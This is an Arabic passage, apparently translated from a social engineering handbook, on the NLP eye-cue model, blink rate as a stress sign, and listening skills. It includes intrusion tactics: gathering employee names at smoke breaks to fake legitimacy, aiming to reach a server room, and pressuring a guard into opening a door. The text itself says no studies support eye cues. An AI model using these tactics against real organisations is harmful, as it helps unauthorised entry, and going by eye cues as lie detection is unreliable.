‫ﻧﻤﻮذج إﺷﺎرات اﻟﻌﯿﻦ )‪(Eye Cue Model‬‬

‫ﻧﻣوذج إﺷﺎرات اﻟﻌﯾن ھﻲ واﺣدة ﻣن اﻟﻣواﺿﯾﻊ اﻷﻛﺛر إﺛﺎرة ﻟﻠﺟدل ﻓﻲ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪ .‬اﻟﺳﺑب اﻷﺳﺎﺳﻲ ﻟوﺻﻔﮫ ﺑﺄﻧﮫ ﻣوﺿﻊ ﺷك ھو‬
‫أﻧﮫ ﻻ ﺷﻲء ﻣن اﻟدراﺳﺎت اﻟﻌﺷرة اﻟﻌﻠﻣﯾﺔ اﻟﻣﺧﺗﻠﻔﺔ اﻟﺗﻲ ﺗﺛﺑت إﺷﺎرات اﻟﻌﯾن ﺗﻌﻣل‪ .‬اﻷھم ﻣن ذﻟك‪ ،‬ﻻ ﻧزال ﻧدرس إﺷﺎرات اﻟﻌﯾن ﺑوﺻﻔﮭﺎ‬
‫ﻣﻛﺗﺷف "اﻟﺣﻘﯾﻘﺔ"‪ .‬ﻣﻼﺣظﺔ‪ :‬ﻛﻣﻣﺎرﺳﯾن‪ ،‬ﻻﺣظﻧﺎ أن إﺷﺎرات اﻟﻌﯾن ﺗﺳﺗﻧد ﻋﻠﻰ دور ﻛل ﺷﺧص وﻟﯾﺳت ﻣﻧﺣﺻرة ﻓﻲ داﺋرة اﻟرﺳم اﻟﺑﯾﺎﻧﻲ‬
‫اﻟﻘﯾﺎﺳﻲ‪ .‬ﯾﺑدو أن ھذا ﯾﺗﻔﻖ ﻣﻊ ﻣﺎ ذﻛره ﻣﺣﻠﻠو ‪ FBI‬ﻓﻲ اﻟﻣﺣﺎدﺛﺎت‪.‬‬

‫"ﺑﺎﻧدﻟر وﺟرﻧدر ﻗﺎﻟوا ﺻراﺣﺔ ﻓﻲ ‪ Frogs into Princes‬أن اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﺗﻘوم ﺑﺈﻋﺎدة ﺑﻧﺎء ذاﻛرﺗﮭم‪ ،‬وﯾظﮭروا أﺷﺎره "اﻟﺑﻧﺎء‬
‫)‪ "(constructing‬إﺷﺎرة وﺻول اﻟﻌﯾن )‪ (eye accessing cue‬ﺣﺗﻰ ﻋﻧدﻣﺎ ﯾﺗذﻛرون‪ .‬ﻓﻲ اﻟواﻗﻊ‪ ،‬ﻋﻠﻰ ﻣﺳﺗوى اﻟﻛﯾﻣﯾﺎء اﻟﺣﯾوﯾﺔ‪ ،‬ﻛل‬
‫اﻟذﻛرﯾﺎت )‪ (Remembered‬ھﻲ 'ﺑﻧﺎء )‪ .'(constructing‬ﻛﯾف أن 'ﺑﻧﺎء' اﻟذاﻛرة اﻟذي ﯾﺟب أن ﯾﻛون ﻟﺗﺣرﯾك ﺗﻠك اﻟﻌﯾن ﻟﻠوﺻول إﻟﻰ ﻧﻣط‬
‫ﻏﯾر واﺿﺢ‪ .‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬اﻟﻧﺎس ﻟﯾس ﺑﺎﻟﺿرورة أن ﯾﺻﻠوا إﻟﻰ اﻟﻣﻌﻠوﻣﺎت اﻟذي ﯾﻌﺗﻘدون أﻧﮭم وﺻوﻟوا أﯾﮭﺎ ﺑﺎﻟﻔﻌل"‪.‬‬

‫اﻟﻧﮭﺞ اﻷﻛﺛر ﺗوازﻧﺎ ھو رﺻد ﻣﺟﻣوع اﻟﺗﻐﯾﯾرات وھو أﻛﺛر ﻛﺷﻔﺎ‪ .‬ﯾﻣﻛﻧك ﻣﻌﺎﯾرة اﻻﺳﺗﺟﺎﺑﺎت اﻟﻐﯾر ﻟﻔظﯾﺔ ﻣن ﺧﻼل طرح ﻣﺟﻣوﻋﺔ ﻣن اﻷﺳﺋﻠﺔ‬
‫اﻟﺗﻲ ﺗﻌرف ﺟواﺑﮭﺎ‪ .‬اﺳﺗﺧدام ھذا ﻛﺧط أﺳﺎس ﻻﺳﺗﺧداﻣﮭﺎ ﻟﻣزﯾد ﻣن اﻟﺗﻘﯾﯾم‪ ،‬واﻟﺑﺣث اﻟﺧﺎص ﻟﻣﺟﻣوع ﻣن اﻟﺗﻐﯾرات اﻟﺟﺳدﯾﺔ ﺧﻼل ﻣوﺿوع‬
‫ﻣﻌﯾن‪.‬‬
‫• “‪”The Cop Stop Eye Cue Exercise‬‬
‫اﻟﺳﯾﻧﺎرﯾو‪ :‬أﻧت ﺿﺎﺑط دورﯾﺔ أوﻗﻔت ﺳﯾﺎرة ﻟﺗﺟﺎوزھﺎ اﻟﺳرﻋﺔ‪ .‬ﻋﻠﯾك أن ﺗﺳﺎل ﺛﻼﺛﺔ أﺳﺋﻠﺔ ﺑﺳﯾطﺔ اﻟﻰ اﻟﺷﺧص اﻟذي ﯾﻘود وﯾﺟب أن ﯾﻌرف‬
‫اﻟﺟواب دون اﻟﻛﺛﯾر ﻣن اﻟﺗﻔﻛﯾر‪) .‬ﻣﺎ اﺳﻣك‪ ،‬أﯾن ﺗﻌﯾش‪ ،‬ﻣﺎ ﻟون ﻣﻧزﻟك(‪ .‬ﺛم طرح اﻷﺳﺋﻠﺔ اﻟﺣﻘﯾﻘﯾﺔ وﻣراﻗﺑﺔ اﻟﺗﻐﯾﯾرات ﻣن ﺧط اﻷﺳﺎس ﻟﻠﺛﻼث‬
‫أﺳﺋﻠﺔ اﻟﺗﻲ ﺗم ﺳؤاﻟﮭﺎ‪) .‬ھل ﺷرﺑت؟ ھل ﺷرب أﺻدﻗﺎﺋك؟(‪.‬‬
‫ﻣﻌﺪل وﻣﯿﺾ اﻟﻌﯿﻦ )‪(Blink Rate‬‬

‫ﻣﻌدل وﻣﯾض اﻟﻌﯾن اﻟذي ﻧﺳﺗﺧدﻣﮫ ﯾﺳﻣﻰ )‪ .(brains tachometer‬ﺧط اﻷﺳﺎس طول وﻣﯾض اﻟﻌﯾن ھو ‪ 1/10‬ﻣن ﺛﺎﻧﯾﺔ‪ .‬ﻏﻠﻖ اﻟﻌﯾن‪ ،‬ﺛم‬
‫ﻓﺗﺣﮭﺎ‪ .‬ﻣﺷﯾرا اﻟﻰ ﻣﻼﺣظﺔ اﻟﺗﻐﯾرات ﻓﻲ ﻣﻌدل اﻟوﻣﯾض )‪ (Blink Rate‬وﻣﺎ اﻟﻣدة اﻟذي ﺗﺑﻘﻰ ﻓﯾﮭﺎ اﻟﻌﯾن ﺧﻼل وﻣﯾض اﻟﻌﯾن ھﻲ ﻣؤﺷر ﻣﮭم‬
‫ﻋن اﻟﻔﻛر واﻹﺟﮭﺎد‪.‬‬
‫ﻣﺗوﺳط ﻣﻌدل اﻟوﻣﯾض ﻋﻧد اﻻﺳﺗرﺧﺎء ھو ‪ 10‬إﻟﻰ ‪ 20‬وﻣﺿﮫ ﻓﻲ اﻟدﻗﯾﻘﺔ ))‪ .(blinks per minute (bpm‬اﻟﺣدﯾث ﯾﻣﻛن زﯾﺎدﺗﮫ اﻟﻣﻌدل‬
‫ﻟﯾﺻﺑﺢ ﻣن ‪ 20‬إﻟﻰ ‪ 25‬ﻧﺑﺿﺔ ﻓﻲ اﻟدﻗﯾﻘﺔ واﻟﺿﻐط ﻧﺗﯾﺟﺔ اﻟظﮭور ﻋﻠﻰ ﺷﺎﺷﺎت اﻟﺗﻠﻔزﯾون ﯾزﯾد اﻟﻣﻌدل ﺑﺣﯾث ﯾﺻﺑﺢ ‪ 30‬إﻟﻰ ‪ 50‬ﻣرة ﻓﻲ‬
‫اﻟدﻗﯾﻘﺔ‪ .‬ﯾﻌزى ذﻟك إﻟﻰ "ﺿﻐط ﺟﻣﮭور"‪ .‬أﺧﯾرا‪ ،‬اﻟﻣﻌدﻻت ﻣن ‪ 50‬إﻟﻰ ‪ 70‬أﻋﻼه ھﻲ ﻣؤﺷرات ﻟزﯾﺎدة ﻣﺳﺗوى اﻹﺟﮭﺎد ﻋﻠﻰ ﻣﺣﻣل اﻟﺟد‪.‬‬
‫ﯾﻣﻛﻧك أﯾﺿﺎ أن ﺗرى اﻧﺧﻔﺎض ﻟﻣﻌدﻻت اﻟوﻣﯾض إﻟﻰ ﻗرب اﻟﺻﻔر ﻋﻧدﻣﺎ ﯾﻣﻠك اﻟﺷﺧص ﻣﺣﺎدﺛﺔ داﺧﻠﯾﺔ )أي ﻣﻊ ﻧﻔﺳﮫ(‪ .‬ﻋﻧد اﻟﻘﯾﺎم ﺑﺎﻟﻣﻘﺎﺑﻼت‬
‫أو اﻻﺳﺗﺟواب ﯾﻣﻛن أن ﯾﻛون ھذا إﺷﺎرة إﻟﻰ ﺧﺿوع اﻟﻣﺗﮭم ﻟﻠﺣدث‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪887‬‬

‫‪ -‬اﻟرﺋﯾس ﻧﯾﻛﺳون‬
‫ﺧﻼل ﺧطﺎب اﺳﺗﻘﺎﻟﺔ اﻟرﺋﯾس اﻟﺳﺎﺑﻖ ﻧﯾﻛﺳون‪ ،‬ﺑدا أﻧﮫ اﻷﻛﺛر ھدوء ﻣن أي وﻗت ﻣﺿﻰ‪ .‬وﻛﺎن ﻗد اﻧﻔﺟر ﻣن اﻟوﻣﯾض ﻓوق ‪ 50‬ﻧﺑﺿﺔ ﻓﻲ‬
‫اﻟدﻗﯾﻘﺔ‪ ،‬واﻟﺗﻲ ﻛﺎﻧت ﻣﻠﺣوظﺔ ﺟدا‪ .‬وﻗد أطﻠﻘت ﻋﻠﻰ ھذه اﻟﺣﻠﻘﺎت اﻟﺳرﯾﻌﺔ "‪ "Nixon effect‬وھذا أدى إﻟﻰ دراﺳﺔ وﻣﯾض اﻟﻌﯾن أﺛﻧﺎء‬
‫اﻟﻣﻧﺎﻗﺷﺎت اﻟﺳﯾﺎﺳﯾﺔ ﺣﯾث ﺗم أرﺷﻔﺗﮭﺎ ﻓﻲ اﻟﻌﻧوان اﻟﺗﺎﻟﻰ‪.‬‬
‫‪http://www.social-engineer.org/wiki/archives/EyeMovement/EyeMovement-2004ElectionAnalysis.htm‬‬
‫ﺗم أرﺷﻔﺔ ﻋﯾن ﻧﯾﻛﺳون ﺧﻼل اﻟﺧطﺎب‪ ،‬واﻟﺗﻲ ﺗﺳﺗطﯾﻊ ﻓﯾﮫ أن ﺗرى ﻣﻌدل واﻣض اﻟﻌﯾن ﺑﺳرﻋﺔ ﻣن ﺧﻼل ھذا اﻟراﺑط‪.‬‬
‫‪http://www.social-engineer.org/wiki/archives/EyeMovement/EyeMovement-Nixon.mov‬‬

‫اﺳﺗﻣﻊ اﻟﻰ طرﯾﻘك ﻟﻛﻲ ﺗﻧﺟﺢ )‪(Listening Your Way To Success‬‬

‫رﺑﻣﺎ ﻻ ﺗوﺟد ﻣﮭﺎرة واﺣدة ﯾﻣﻛن أن ﺗﻛون ﺷﺎﻣﻠﺔ ﻣﺛل اﻻﺳﺗﻣﺎع‪ .‬اﻻﺳﺗﻣﺎع ھو ﺟزء رﺋﯾﺳﻲ ﻣن ﻛوﻧﮫ ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﯾﺟب أن ﻧدرك اﻟﻔرق‬
‫اﻟرﺋﯾﺳﻲ اﻟﻣوﺟود ﺑﯾن اﻟﺳﻣﻊ واﻻﺳﺗﻣﺎع‪.‬‬
‫ﯾﻌﺗﻘد ﻋﺎدة أن اﻟﻧﺎس اﻧﮭم ﯾﺣﻔظون أﻗل ﻣن ‪ ٪50‬ﻣﻣﺎ ﯾﺳﻣﻌوﻧﮫ‪ .‬وھذا ﯾﻌﻧﻲ إذا ﻛﻧت ﺗﺗﺣدث إﻟﻰ ﺷﺧص ﻟﻣدة ﻋﺷر دﻗﺎﺋﻖ اﻧﮫ ﺳوف ﯾﺗذﻛر ﺑﺿﻊ‬
‫دﻗﺎﺋﻖ ﻓﻘط ﻣﻣﺎ ﺗﻘوﻟﮫ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟﻧﺎس ﯾﺗدﺑرون ﻣن ﺧﻼل اﻟﺣﯾﺎة ﺑﮭذه اﻟطرﯾﻘﺔ‪ ،‬وﻟﻛﻧﮫ ﻏﯾر ﻣﻘﺑول ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻛون اﻟﻘﻠﯾل ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﺗﻘﺎل‪ ،‬ﺗﺻﻧﻊ أو ﺗﻛﺳر ﻣدى اﻟﻧﺟﺎح ﻓﻲ اﻟﻣﺳﻌﻰ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ھذه اﻟﻣﻧطﻘﺔ ھﻲ اﻟﺗﻲ ﯾﺄﺗﻲ ﻓﯾﮭﺎ‬
‫ﺗﺣﺳﯾن ﻣﮭﺎرات اﻻﺳﺗﻣﺎع ﻟدﯾك‪ ،‬وﻟﯾس ﻣﺟرد اﻻﺳﺗﻣﺎع إﻟﻰ ﻣﺎ ﯾﻘﺎل‪ ،‬وﻟﻛن ﻛﯾف ﯾﻘﺎل‪ ،‬ﻋﻧدﻣﺎ ﯾﻘﺎل‪ ،‬وﻣﻊ ﻣﺎ اﻟﻌﺎطﻔﺔ‪ .‬ﻛل ھذه اﻟﻌواﻣل ﺗﺳﺎھم ﻓﻲ‬
‫اﻟﺗﺻور اﻟﺧﺎص ﻟﻧﻘل اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﻛن ﻣﺳﺗﻣﻌﺎ ﺟﯾدا ﻗد ﯾﺑدو ﺳﮭﻼ‪ ،‬وﻟﻛن ﻋﻧدﻣﺎ ﺗﻛون ﻓﻲ ﺧﺿم ھذه اﻟﻠﺣظﺔ‪ ،‬ﻓﺎن اﻟﮭدف اﻟﻧﮭﺎﺋﻲ اﻟﺧﺎص ﺑك اﻟوﺻول إﻟﻰ ﻏرﻓﺔ اﻟﺧﺎدم‪ ،‬واﻧت‬
‫ﺗﺳﺗﻣﻊ إﻟﻰ ﻗﺻﺔ ﻣن ﻗﺑل ﻋدد ﻗﻠﯾل ﻣن اﻟﻣوظﻔﯾن اﻟﺧﺎرﺟﯾن ﻓﻲ راﺣﺔ ﻟﻠﺗدﺧﯾن واﻟذي ﺗﺧطط ﻟﻣﺗﺎﺑﻌﺔ ھذا اﻟﻣﺑﻧﻰ‪ ،‬ان اﻻﺳﺗﻣﺎع ﺣﻘﺎ ﺻﻌب‪.‬‬
‫ﻣﻊ ذﻟك‪ ،‬ﻣن ﺧﻼل ھذه اﻷوﻗﺎت ﻗد ﺗرﻏب ﻓﻲ اﻻﺳﺗﻣﺎع ﺣﻘﺎ‪ .‬ﺳوزان رﺑﻣﺎ ﺗﺑدأ ﻓﻲ اﻟﺷﻛوى ﻣن ﻣدﯾرھﺎ ﻓﻲ ﻣﺟﺎل اﻟﻣوارد اﻟﺑﺷرﯾﺔ‪ ،‬اﻟﺳﯾد‬
‫ﺟوﻧز‪.‬‬
‫رﺑﻣﺎ ھذا ﯾﺑدو ﺗﻣﺎﻣﺎ ﻣﺛل اﻟﺛرﺛرة ﺣﯾث ﯾﺷﻛوا اﺛﻧﯾن ﻣن اﻟﻣوظﻔﯾن ﺑﺎﻟﺗﻌب‪ .‬أم أﻧﮭﺎ أﻛﺛر ﻣن ذﻟك؟ ﻟدﯾك ﻛل ﻣن أﺳﻣﺎﺋﮭم‪ ،‬اﺳم ﻣدﯾر‪ ،‬أﺳﻣﺎء‬
‫إداراﺗﮭم‪ ،‬وﻓﻛرة ﻋن اﻟﺳﻠوك اﻟﻌﺎم ﻟﺑﻌض اﻟﻣوظﻔﯾن‪ .‬ھذه اﻟﻣﻌﻠوﻣﺎت ﯾﻣﻛن أن ﺗﻛون ﻗﯾﻣﮫ ﻟﻠﻐﺎﯾﺔ ﻓﻲ وﻗت ﻻﺣﻖ إذا ﻛﻧت ﺑﺣﺎﺟﺔ إﻟﻰ ﺗﻘدﯾم ﻣﺎ‬
‫ﯾﺛﺑت ﺻﺣﺔ اﻟﺧﺎﺻﺔ ﺑك ﻟﻛوﻧﮭﺎ داﺧل اﻟﻣﺑﻧﻰ‪.‬‬
‫ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن طرﯾﻘﺔ اﻟﺷﺧص ﻓﻲ ﻗول ﺷﯾﺋﺎ ﻣﺎ ﯾﻣﻛن أن ﺗﻘول ﻟﻛم اﻟﻛﺛﯾر ﻋن ھذا اﻟﺷﺧص‪ ،‬وﻟﻛن ﺗطﺑﯾﻖ ھذا ﯾﺗطﻠب اﻟﻛﺛﯾر ﻣن‬
‫اﻻﺳﺗﻣﺎع‪ .‬ھل اﻟﺷﺧص ﻏﺎﺿب‪ ،‬ﺣزﯾن أو ﺳﻌﯾد؟ ھل ھو ﺳرﯾﻊ ام ﺑطﻲء ﻓﻲ اﻟﺗﺳﻠﯾم؟ ھل ھو ﻋﺎطﻔﻲ ام ﻟﮫ ﺗﺟﺎرب ﻋﺎطﻔﺔ أﺛرت ﻓﯾﮫ؟ ﯾﻣﻛن‬
‫اﻻﻟﺗﻔﺎت اﻟﻰ ھذه اﻷﻧواع ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﻣن اﻟﻣﻣﻛن أن ﺗﻘول أﻛﺛر ﺑﻛﺛﯾر ﻣن اﻟﻛﻠﻣﺎت ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن‪ .‬ﻓﻛﯾف ﯾﻣﻛﻧك أن ﺗﺻﺑﺢ ﻣﺳﺗﻣﻌﺎ‬
‫ﻋظﯾم؟‬
‫اﻟﺧطوات اﻟﺗﺎﻟﯾﺔ ﯾﻣﻛﻧﮭﺎ أن ﺗﺳﺎﻋدك ﻋﻠﻰ إﺗﻘﺎن ﻣﮭﺎرات اﻻﺳﺗﻣﺎع ﻟدﯾك‪ .‬ھذه اﻟﻧﺻﺎﺋﺢ ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻟﯾس ﻓﻘط ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬
‫وﻟﻛن أﯾﺿﺎ ﻓﻲ اﻟﺣﯾﺎة‪ ،‬وﻋﻧد ﺗطﺑﯾﻘﮭﺎ ﻋﻠﻰ ﻣراﺟﻌﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن أن ﺗﺟﻌل ﻓرق ﻓﻲ اﻟﻌﺎﻟم‪.‬‬
‫‪ -1‬دﻓﻊ اﻻھﺗﻣﺎم )‪ .(Pay attention‬إﻋطﺎء اﻟﮭدف اﻧﺗﺑﺎه ﻣﻔرط اﻟﺧﺎص ﺑك‪ .‬ﻻ ﺗﻌﺑث ﻣﻊ ھﺎﺗﻔك أو أداة أﺧرى‪ .‬ﻻ ﺗطﺑل أو ﺗﻧﻘر‬
‫ﺑﺄﺻﺎﺑﻌك‪ .‬ﺣﺎول اﻟﺗرﻛﯾز ﺑﺎھﺗﻣﺎم ﻋﻠﻰ ﻣﺎ ﯾﻘﺎل‪ ،‬اﻧظر اﻟﻰ اﻟﺷﺧص اﻟذي ﯾﺗﺣدث‪ .‬اﻓﻌل ذﻟك ﺑطرﯾﻘﺔ ﻓﺿوﻟﯾﮫ ﺟدا‪ ،‬وﻟﯾﺳت ﻣﺧﯾﻔﺔ‪.‬‬
‫ﺣﺎول ﺟﺎھدا أﻻ ﺗﻔﻛر ﻓﻲ اﻷﻣور ﻗﺑل واﻟﺗﺧطط ﻟردك اﻟﻘﺎدم‪ .‬إذا ﻛﻧت ﺗﺧطط ﻟردك اﻟﺗﺎﻟﯾﺔ أو اﻟﻧﻘض ﻓﻠن ﺗﻛون ﻣرﻛزا ﻋﻠﯾﮫ‪ ،‬وﻗد ﯾﻐﯾب ﻋﻧك‬
‫ﺷﻲء ﻣﮭم أو إﻋطﺎء اﻟﮭدف اﻻﻧطﺑﺎع إﻧك ﻻ ﺗﮭﺗم ﺣﻘﺎ‪ .‬وھذا ﯾﻣﻛن أن ﯾﻛون ﻣن اﻟﺻﻌب ﺟدا اﻟﺳﯾطرة‪ ،‬ﻟذﻟك اﺗﻘﺎن ھذا اﻻﺗﺟﺎه ﺳﯾﺳﺗﻐرق ﺑﻌض‬
‫اﻟﻌﻣل اﻟﺟﺎد ﻟﻣﻌظم اﻟﻧﺎس‪ .‬ﺣﺎول أﯾﺿﺎ اﻻ ﺗﻠﮭﻰ ﺑﺎﻟﻌواﻣل اﻟﺑﯾﺋﯾﺔ‪ .‬اﻟﺿوﺿﺎء ﻓﻲ اﻟﺧﻠﻔﯾﺔ أو ﻣﺟﻣوﻋﺔ ﺻﻐﯾرة ﺗﺿﺣك ﻋﻠﻰ ﺷﻲء ﯾﻣﻛن أن‬
‫ﺗﺷﺗت اﻟﺗرﻛﯾز اﻟﺧﺎص ﺑك؛ ﻻ ﺗﺳﻣﺢ ﺑﺣدوث ذﻟك‪ .‬وأﺧﯾرا‪ ،‬ادﻓﻊ اھﺗﻣﺎم وﺛﯾﻖ ﺑﻣﺎ ﻻ ﯾﻘوﻟﮫ اﻟﻣﺗﺣدث‪ ،‬أﯾﺿﺎ‪ .‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬ﺗﻌﺑﯾرات اﻟوﺟﮫ‪،‬‬
‫وﻏﯾرھﺎ ﻣن ﺟواﻧب اﻟﺗواﺻل ﯾﺟب أن ﺗﺳﺗﻣﻊ اﻟﯾﮭﺎ ﺑﺎھﺗﻣﺎم‪.‬‬
‫‪ -2‬ﺗﻘدﯾم دﻟﯾل ﻋﻠﻰ أﻧك ﻛﻧت ﺗﺳﺗﻣﻊ )‪ .(Provide proof that you are listening‬ﻛن ﻣﺗﻔﺗﺢ وﺟذاب ﻣﻊ ﻟﻐﺔ اﻟﺟﺳد وﺗﻌﺎﺑﯾر‬
‫اﻟوﺟﮫ‪ .‬إﯾﻣﺎءة ﻣن ﺣﯾن اﻟﻰ ﺣﯾن‪ ،‬ﻟﻛن ﻟﯾس ﻛﺛﯾر‪ ،‬وﻟﻛن ﻛﺛﯾر ﺑﻣﺎ ﯾﻛﻔﻲ ﻟﻠﺳﻣﺎح ﻟﻠﮭدف ان ﯾﻌرف إﻧك ھﻧﺎ ﻣﻌﮫ )ﻣﻧﺗﺑﮫ ﻣﻌﮫ(‪ .‬ﻓﺎﻧت ﻻ‬
‫ﺗرﯾد أن ﺗﺑدو وﻛﺄﻧك دﻣﯾﺔ ﻣزرﻛﺷﺔ‪ ،‬وﻟﻛن ﺗرﻏب ﻓﻲ ان اﻟﮭدف ﯾﻌرف إﻧك "ﻣﻌﮫ"‪.‬‬
‫ﻻ ﺗﻧﺳﻰ اﻻﺑﺗﺳﺎﻣﺔ ﻓﮭﻲ ﻣﮭﻣﺔ‪ .‬اﻻﺑﺗﺳﺎﻣﺔ ﺗﺧﺑر اﻟﮭدف إﻧك ﻣﻌﮫ ﻋﻘﻠﯾﺎ وﺗﻔﮭم ﻣﺎ ﯾﻘوﻟﮫ‪ .‬ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ إﯾﻼء اﻻھﺗﻣﺎم اﻟذي ذﻛر ﺳﺎﺑﻘﺎ‪ ،‬إﺿﺎﻓﺔ‬
‫اﺑﺗﺳﺎﻣﺎت ﺻﻐﯾرة ﻋﻧد اﻟﺣﺎﺟﺔ‪ .‬إذا ﻛﺎن اﻟﺷﺧص ﯾﻘول ﻟك أن ﻛﻠﺑﮫ ﺗوﻓﻲ ﻟﻠﺗو‪ ،‬إﯾﻣﺎءة اﻟرأس واﻻﺑﺗﺳﺎﻣﺔ ﻣن اﻟﻣرﺟﺢ أن ﺗﺟﻌﻠك ﺗﻔﻘد اﻟﮭدف‪.‬‬
‫‪ -3‬ﺗوﻓﯾر ﻣﻌﻠوﻣﺎت‪/‬ﻣﻼﺣظﺎت ﻗﯾﻣﮫ )‪ .(Provide valuable feedback‬اﻟﺳﻣﺎح ﻟﻠﻣﻌﺗﻘدات اﻟﺷﺧﺻﯾﺔ واﻟﺧﺑرات ﺑﻔﻠﺗرة اﻟرﺳﺎﻟﺔ‬
‫اﻟﻘﺎدﻣﺔ ﻓﻲ طرﯾﻘك ﺷﺎﺋﻌﺔ ﺟدا‪ .‬إذا ﻛﻧت ﺗﻔﻌل ذﻟك ﻓﺈﻧك ﺣﻘﺎ ﻟن ﺗﺳﻣﻊ ﻣﺎ ﯾﻘوﻟﮫ اﻟﻣﺗﻛﻠم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪888‬‬

‫ﺗﺄﻛد ﻣن طرح اﻷﺳﺋﻠﺔ ذات اﻟﺻﻠﺔ‪ .‬إذا ﻛﺎﻧت ﺗﺧﺑرك ﻋن اﻟﺳﻣﺎء اﻟزرﻗﺎء ﻓﻘل ﻟﮭﺎ‪" ،‬ﻛﯾف ﺗﻛون اﻟﺳﻣﺎء زرﻗﺎء؟" ﻟن ﯾﻛون ﻓﻌﺎﻻ‪ .‬ﯾﺟب ﻋﻠﻰ‬
‫أﺳﺋﻠﺗك أن ﺗظﮭر إﻧك ﺗﺳﺗﻣﻊ ﺑﻧﺷﺎط وﻟدﯾك اﻟرﻏﺑﺔ ﻓﻲ اﻟﺣﺻول ﻋﻠﻰ ﻓﮭم أﻋﻣﻖ‪.‬‬
‫ﺑﯾن اﻟﺣﯾن واﻵﺧر ﻋﻛس أو ﺗﻠﺧﯾص ﻣﺎ ﻛﻧت ﺗﺳﻣﻌﮫ ﯾﻌﻣل ﺑﺷﻛل ﺟﯾد أﯾﺿﺎ‪ .‬ﻻ ﺗﺗﻠو اﻟﺣدﯾث وﻛﺄﻧﮫ ﺗﻘرﯾر ﻛﺗﺎب‪ ،‬وﻟﻛن أﻋد ﺗﻠﺧﯾص ﺑﻌض‬
‫اﻷﻓﻛﺎر اﻟرﺋﯾﺳﯾﺔ ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻓﻲ أن اﻟﮭدف ﯾرى إﻧك ﻓﻲ ﺗﻧﺎﻏم ﻣﻊ اﻟرﺳﺎﻟﺔ‪.‬‬
‫‪ -4‬ﻻ ﺗﻘﺎطﻊ )‪ .(Do not interrupt‬ﯾﻣﻛن أن ﯾﻘﺎل ﻻ ﯾزال ھﻧﺎك اﻟﻛﺛﯾر ﻋﻠﻰ ھذه اﻟﺣﺎﻓﺔ‪ .‬ﻣﻘﺎطﻌﺔ اﻟﮭدف ﯾدل ﻋﻠﻰ ﻋدم اﻻھﺗﻣﺎم‬
‫ﻟﻣﺷﺎﻋره وﺗوﻗف ﺗدﻓﻖ اﻷﻓﻛﺎر‪ .‬ﻣن اﻷﻓﺿل اﻟﺳﻣﺎح ﻟﮫ ﺑﺎﻻﻧﺗﮭﺎء ﺛم ﺑﻌد ذﻟك ﺗﺣدث‪.‬‬
‫وﻣﻊ ذﻟك‪ ،‬ﯾوﺟد ﺑﻌض اﻟظروف اﻟﻣﻘﺎطﻌﺔ ﯾﻣﻛن أن ﺗﻛون ﻣﻔﯾدة أو ﺣﺗﻰ ﺗﻛﺗﯾك‪ .‬إذا ﻛﻧت ﺗرﯾد أن ﺗرى ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻣﺷﺎھدة ﻓﯾﻠم‬
‫‪ .Sneakers‬ﻋﻧدﻣﺎ ﯾﺣﺎول روﺑرت رﯾدﻓورد اﻟوﺻول إﻟﻰ اﻟﺑﺎب اﻟﻣﻐﻠﻖ‪ ،‬ﻓﺎﻧﮫ ﯾﻘطﻊ اﻟﺣﺎرس ﻓﻲ ﻧزاع ﻣﺣﺗدم ﺣول ﺑﻌض ﺑﻧود اﻟﺗﺳﻠﯾم‪ .‬ﯾﻔﻌل‬
‫ذﻟك ﻋدة ﻣرات‪ ،‬ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف ﯾﺻﺎب اﻟﺣﺎرس ﺑﺎﻹﺣﺑﺎط وﯾﺗﺳﺑب ﻟﮫ ﺑﻔﺗﺢ اﻟﺑﺎب ﻣﻊ ﻋدم وﺟود ﺗرﺧﯾص‪ .‬إذا ﻛﻧت ﺗﻌﺗﻘد أﻧﮫ ﺳﯾﺣﺻل ﻟﻛم‬
‫ﻓﻲ ﻣﻛﺎن ﻣﺎ‪ ،‬اﻻﻧﻘطﺎع ﻗد ﯾﻛون ﻓﻛرة ﺟﯾدة‪ .‬ﻟﻛن ﻣﻌظم اﻟوﻗت‪ ،‬ﻓﮭو ﻟﯾس ﻛذﻟك‪.‬‬
‫‪ -5‬اﻻﺳﺗﺟﺎﺑﺔ ﺑﺷﻛل ﻣﻧﺎﺳب )‪ .(Respond appropriately‬ھذا ھو ﻗﻣﺔ ﻣﮭﺎرات اﻻﺳﺗﻣﺎع اﻟﺟﯾدة أو اﻟﺳﯾﺋﺔ‪ .‬إذا ﻛﻧت ﺗرﻛز ﻋﻠﻰ‬
‫اﻟطﻌن أو اﻟﺑﯾﺎن اﻟﺗﺎﻟﻲ‪ ،‬أو ﻛﻧت ﺗﻔﻛر ﻓﻲ ﺷﻘراء ﺟذاﺑﺔ ﻟﻠﻐﺎﯾﺔ‪ ،‬ﻓﺈﻧك ﺗﻛون ﻗد وﺿﻌت ﻗدﻣك ﻓﻲ ﻓﻣك‪.‬‬
